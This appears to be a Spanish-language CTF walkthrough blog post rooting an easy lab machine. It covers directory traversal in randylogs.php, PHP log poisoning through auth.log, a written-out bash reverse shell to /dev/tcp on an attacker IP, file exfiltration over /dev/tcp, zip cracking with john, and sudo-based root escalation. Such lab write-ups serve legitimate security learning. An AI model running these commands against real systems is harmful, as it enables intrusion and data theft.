Máquina de nivel fácil, el objetivo de este CTF es encontrar la bandera root (flag root).
Comencemos con la primera fase del Pentesting la enumeración y reconocimiento de nuestro objetivo de análisis. Utilizaremos la herramienta Netdiscover.
Nuestro objetivo tiene la dirección IP 192.168.50.40. Continuemos con el reconocimiento de nuestro objetivo. Realizare un ping para analizar el parámetro ttl (time to live / tiempo de vida).
Como se observa en la imagen el ttl es de 64, esto indica que posiblemente estemos en presencia de un sistema Linux.
Nota
El atributo ttl es un concepto de redes que se utiliza para indicar por cuantos nodos puede pasar un paquete antes de ser descartado. En otras palabras, este atributo sirve para que el paquete de datos que circulan en la red no quede infinitamente trasmitiéndose colapsando la misma. El valor de ttl lo define el propio sistema operativo, siendo este un parámetro conocido, es decir, para sistemas operativos basado en Linux tiene un valor de 64, mientras que, un sistema operativo basado en Windows tiene un valor de 128.
Lo siguiente sería averiguar los servicios que están en ejecución en la máquina objetivo. Para realizar esta tarea utilizaré la herramienta Nmap.
En la imagen se muestra dos servicios que se están ejecutando el puerto 22 que ejecuta la aplicación OpenSSH 8.4p1 y el puerto 80 ejecutando la aplicación Apache httpd 2.4.46. Además, los resultados nos indica que se está ejecutando el sistema operativo Linux Ubuntu, pero no entrega su version.
Nota
Los parámetros utilizados en Nmap son los siguientes:
-sV = Ejecuta un escaneo de reconocimiento de versiones de aplicaciones.
-n = Le indica a Nmap que no haga resolución DNS.
-p- = Le indica a Nmap que escanee todos los puertos.
--open = Le indica a Nmap que tan solo escanee los puertos abiertos.
ahora ejecutare Nmap con el parámetro -sC.
El parámetro -sC le indica a Nmap que ejecute los script NSE por defecto. Nmap tiene un módulo de script para descubrimiento de vulnerabilidades de un objetivo. En la imagen no se indica vulnerabilidad alguna.
Ahora utilizaremos la herramienta whatweb para obtener información de las tecnologías que se están ejecutando en el servicio web puerto 80.
Por lo tanto, utilizaré otra herramienta dirb, para descubrir directorios en el servicio web.
En los resultados se nos muestra el archivo index.html y el directorio tasks/. Además, la herramienta nos indica que el directorio tasks/ es un listado de carpetas/archivos. Analicemos que hay en ellos.
Encontramos información importante, se nos indica:
Tareas que deben completarse
1.- Cambiar los permisos para auth log.
2.- Cambiar el puerto 22 a 7672.
3.- Configurar phpMyAdmin.
Utilizare SecList junto con la herramienta dirbuster para realizar una técnica llamada Fuzz. veamos qué resultados no da.
Obtuvimos más resultados. Me llama la atención la url: /blog-post/archives/randylogs.php, aplicare la misma técnica (FUZZ) para descubrir directorio, pero esta vez lo utilizaré para descubrir si el el archivo randylogs.php procesa algún parámetro. Utilizaré la herramienta ffuf y utilizaré de SecList el archivo big.txt.
Como se observa en la imagen obtuvimos una coincidencia para el parámetro file, es decir, descubrimos que el archivo randylogs.php procesa el parámetro file en su queryString de la URL.
Lo intente de descubrir con el análisis anterior es la vulnerabilidad conocida como Directory Traversal (Cruce de directorios), es una vulnerabilidad web que permite a un atacante leer archivos arbitrarios en el servidor que ejecuta la aplicación. Es la razón por la cual configuré ffuf randylogs.php?FUZZ=/etc/passwd. donde FUZZ será remplazado por el valor que se encuentra en el archivo big.txt y lo igualo /etc/passwd. En la imagen anterior se muestra que .../randylogs.php?file=/var/passwd responde con un código de estado 200, es decir, respuesta exitosa.
Ahora recuerden que el servidor ejecutava el servicio OpenSSH en el puerto 22, por lo tanto, podemos observar el archivo auth.log de Linux, archivo encargado de registrar los eventos relacionados con el mecanismo de autorización de Linux. Por ejemplo, cuando un usuario inicio de sesión en el sistema.
Confirmemos lo que ffuf nos indica como solicitud web exitosa.
Bien!!! la aplicación web es vulnerable Directory Traversal. Como se observa en la imagen podemos leer el archivo /var/passwd. Ahora probemos con el archivo auth.log.
Bien!!! veamos si algún usuario del sistema se comunicó con el servidor a través de SSH y obtener sus credenciales. Analizando los datos mostrados en la imagen anterior, no encontré nada muy interesante. Pero podemos utilizar el archivo auth.log para inyectar código PHP y utilizarlo a nuestro favor.
Recordemos que el blog está programado en PHP, entonces podemos inyectar código PHP en el archivo auth.log de la siguiente manera.
Como se observa en la imagen realicé una conexión ssh con el usuario "loquesea" y el servidor nos responde con el intercambio de clave de cifrado utilizado por ssh, al cuan respondí con un "yes", posterior a esto se nos solicita la contraseña de inicio de sesión. La contraseña que utilice fue "loquesea", como respuesta recibí un "Permission denied". esto es lógico porque tanto el usuario y la contraseña no corresponde.
Lo interesante de esta prueba está en el archivo auth.log.
Como se puede observar en el archivo auth.log queda un registro de la conexión y autenticación que realice en la prueba anterior. Y es aquí donde podemos aprovechar la oportunidad de inyectar código PHP.
Podríamos inyectar el siguiente código PHP de la siguiente manera.
Explicaré un poco el código PHP.
Ejecuta un programa externo y mostrara su salida.
$_GET
Es una variable súper global utilizada para procesar parámetros de URL (queryString) enviadas através el método/verbo GET del protocolo HTTP.
<?php ?>
Tag de PHP utilizado para indicarle al intérprete de PHP la existencia de código PHP para ser procesado.
Como se observa en la imagen anterior (línea roja) no se muestra el código inyectado. por lo tanto, hagamos una prueba.
Como se muestra en la imagen anterior envíe el parámetro cmd=ls&20/var/ para listar el directorio /var/. Como resultado de enviar el parámetro anterior se observa en la siguiente imagen.
Bien!! nuestra inyección de código funciona.Ahora veremos si la aplicación netcat está instalada en la máquina, para esto utilizaremos el siguiente comando y lo inyectaremos. "apt list | grep netcat", para poder inyectarlo necesitamos codificarlo en formato URL. El resultado de la codificación URL es "apt%20list%20%7C%20grep%20netcat".
La aplicación netcat está instalada. Netcat es una utilidad UNIX que lee y escribe datos a través de conexiones de red utilizando el protocolo TCP o UDP.
Ahora pasaremos a la tercera fase, la fase de explotación. Para esto utilizaremos Netcat como herramienta de explotación.
En nuestra máquina ejecutamos la siguiente instrucción nc -nlvp 443.
nc = Comando para iniciar el programa Netcat.
n = Solo direcciones IP, sin nombre DNS.
l = Modo escucha, solo para conexiones entrantes.
v = Salida detallada (verbose).
p = Especifica el puerto de escucha.
Una vez ejecutada la instrucción anterior, inyectaremos el siguiente código en la máquina objetivo.
bash -c 'bash -i >& /dev/tcp/192.168.50.130/443 0>& 1' recuerden que se debe codificar en formato URL. Como resultado obtendremos el siguiente resultado bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.50.130%2F443%200%3E%261'
![]() |
| Ejecución de Netcat en la máquina atacante. |
| Inyectamos en la máquina objetivo. |
Obtuvimos una reverse shell (shell inversa), es decir, la máquina objetivo se comunica con nuestra máquina atacante.
Ya obtuvimos acceso a la máquina, por lo tanto, pasaremos a la tercera fase, fase de explotación. Buscando en los diferentes directorios encontré un directorio que llamo mi atención.
Al listar el archivo backups encontré un archivo interesante user_backup.zip. veamos que contiene el archivo user_backup.zip.
Para poder ver el contenido del archivo user_backup.zip, debemos descargar el archivo. Para descargar el archivo vamos a aprovechar la conexión que tenemos con la máquina objetivo.
En nuestra máquina atacante abriremos puerto de escucha como se muestra en la imagen.
Posteriormente en nuestro reverse shell ingresaremos el siguiente comando.cat user_backup.zip > /dev/tcp/192.168.50.130/4444
Al ejecutar el comando anterior recibimos en nuestra máquina atacante el archivo user_backup.zip con el nombre user.zip.
El archivo user.zip está protegido por contraseña, deberemos aplicar la técnica de fuerza bruta para obtener la contraseña del archivo.
Con la herramienta zip2john obtendremos el hash de contraseña del archivo user.zip.
ejecutamos la herramienta nuevamente y redireccionamos la salida de la herramienta a un texto nombrado hash.txt.
Ahora con la herramienta john the ripper realizamos fuerza bruta por diccionario al archivo hash.txt para averiguar la contraseña del archivo user.zip.
Bien!!! obtenemos la contraseña del archivo user.zip. Ahora lo único que falta es descomprimir el archivo y analizar su contenido.
Obtenemos los siguientes archivos.
Como se observa en la imagen hay 4 archivos un script escrito en lenguaje C llamado easysysinfo.c, los certificados id_rsa, id_rsa.pub y por último el archivo my_password.txt. Analicemos el archivo my_password.txt.
Al parecer, tenemos la contraseña del usuario randy. Recordemos que el servidor está ejecutando el servicio SSH. Comprobemos si nos podemos conectarnos por SSH con la contraseña que obtuvimos.
Ahora averiguaremos que permisos de ejecución tiene el usuario randy. Para averiguarlo utilizaremos el comando "sudo -l".
Como se observa en la imagen el usuario randy puedo ejecutar el archivo easysysteminfo, es el mismo archivo presente en nuestro archivo zip.
Analicemos el directorio tools/ del usuario randy.
El directorio tools/ tiene dos archivos, easysysinfo y easysysinfo.py. Analicemos el archivo con extención .py.
Como se observa en la imagen el archivo es un script de Python que imprime por pantalla la fecha actual, el contenido del archivo host y la versión del kernel de Linux. No creo que sirva de mucho para escalar privilegio. Pero podemos modificarlos para poder elevar los privilegios debido a que estos archivos el usuario randy los puede ejecutar con permisos de root.
Voy a crear un archivo con extensión ".c" con el nombre easysysinfo y en el escribiré el siguiente código.
Explicaré el código que se muestra en la imagen. Los #include<unistd.h> y #include<stdlib.h> estas son directivas de inclusión que permite el uso de las funciones setuid, setgui, system. La función setuid(0) establece el id de usuario en este caso root, es decir, el argumento pasado a la función corresponde al usuario root. La función setgui(0) es parecida a la función setuid, con la diferencia que estable el id de grupo de usuarios, en este caso el grupo root.
Ahora debemos enviar el archivo a la máquina victima.
Luego en la máquina víctima lo compilamos y lo ejecutamos como con la instrucción sudo.
Bien!!! obtuvimos nuestra shell como root. Falta encontrar en flag.
Encontramos el flag!!!
Happy Hack!!!





































Comentarios
Publicar un comentario